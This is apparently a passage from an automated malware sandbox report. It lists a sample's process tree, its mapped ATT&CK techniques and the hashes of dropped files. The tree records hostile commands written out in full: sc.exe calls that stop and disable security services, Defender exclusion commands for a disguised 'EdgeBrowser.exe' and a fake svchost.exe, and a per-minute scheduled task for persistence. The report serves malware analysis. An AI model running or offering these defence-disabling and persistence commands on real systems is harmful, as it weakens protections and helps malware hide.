  - - C:\Windows\system32\sc.exe
      sc config wscsvc start= disabled
      4⤵
      Launches sc.exe
      PID:4796
  - - C:\Windows\system32\sc.exe
      sc stop WdiServiceHost
      4⤵
      PID:4492
  - - C:\Windows\system32\sc.exe
      sc config WdiServiceHost start= disabled
      4⤵
      Launches sc.exe
      PID:564
  - - C:\Windows\system32\sc.exe
      sc stop WdiSystemHost
      4⤵
      Launches sc.exe
      PID:3512
  - - C:\Windows\system32\sc.exe
      sc config WdiSystemHost start= disabled
      4⤵
      Launches sc.exe
      PID:1660
  - - C:\Windows\system32\sc.exe
      sc stop InstallService
      4⤵
      Launches sc.exe
      PID:1212
  - - C:\Windows\system32\sc.exe
      sc config InstallService Start= disabled
      4⤵
      Launches sc.exe
      PID:1364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  PID:5536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 1
  2⤵
  PID:2376
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:3324
- C:\Windows\EdgeBrowser.exe
  "C:\Windows\EdgeBrowser.exe"
  2⤵
  - Executes dropped EXE
  PID:5504
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Delete /tn NYAN /F
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NYAN /tr "C:\Windows\EdgeBrowser.exe" /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:5492
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 1604
  2⤵
  - Program crash
  PID:2128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4380 -ip 4380
1⤵
PID:5716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

EdgeBrowser.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EdgeBrowser.exe.log
Size 706B
SHA256 418398bab7542ba692fe00d88d6de06c65f73b9376567c5190a007f7a211c91f
MD5 7119a280abc0c4b5f21a0932887a54ac
SHA1 aa369248ea6d293fe56a5ed669e29cd897911f84
SHA512 b11111d017e86445be9c41d2ca4a6e147cf2d8ae31663bb0772e2eaaf3a7a906285ab78a708d9122a29f8aa2519e80b12e050ad4538867e2b5d3edb0fe21039f
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
MD5 SHA1 SHA512

Submit Download